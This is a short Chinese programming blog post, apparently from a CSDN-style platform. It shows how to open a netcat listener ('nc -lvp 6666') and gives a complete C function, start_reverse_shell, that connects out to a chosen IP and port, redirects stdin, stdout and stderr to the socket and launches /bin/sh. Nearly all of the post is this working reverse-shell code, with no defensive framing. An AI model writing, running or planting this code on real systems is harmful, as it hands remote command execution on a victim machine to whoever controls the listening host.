给服务端一个shell控制端

最新推荐文章于 2023-05-11 21:51:39 发布

原创最新推荐文章于 2023-05-11 21:51:39 发布 · 208 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#socket #linux

c/c++ 同时被 3 个专栏收录

103 篇文章

订阅专栏

Linux

46 篇文章

订阅专栏

网络编程

17 篇文章

订阅专栏

本文详细介绍了一种在服务器上开启监听的方法，并演示了如何通过编写C语言函数实现从客户端向服务端发起连接，进而获取一个shell的过程。该过程涉及socket编程、地址解析、端口绑定、连接建立以及shell命令的执行。

文章链接:https://codemouse.online/archives/2020-04-02182636

服务器开启监听

nc -lvp 6666

连接服务器,并给服务端一个shell

void start_reverse_shell(char *bd_ip, unsigned short int bd_port)
{
    int sd;
    struct sockaddr_in serv_addr;
    struct hostent *server;
    
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if (sd < 0) 
        return;
    
    server = gethostbyname(bd_ip);
    if (server == NULL)
        return;
    
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
    serv_addr.sin_port = htons(bd_port);
    
 
    if (connect(sd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0) 
        return;
 
    // sdout,stdin and stderr 重定向到服务端的fd中
    dup2(sd, 0); 
    dup2(sd, 1); 
    dup2(sd, 2);
    
    // 运行shell
    execl("/bin/sh", NULL, NULL);
    close(sd);
}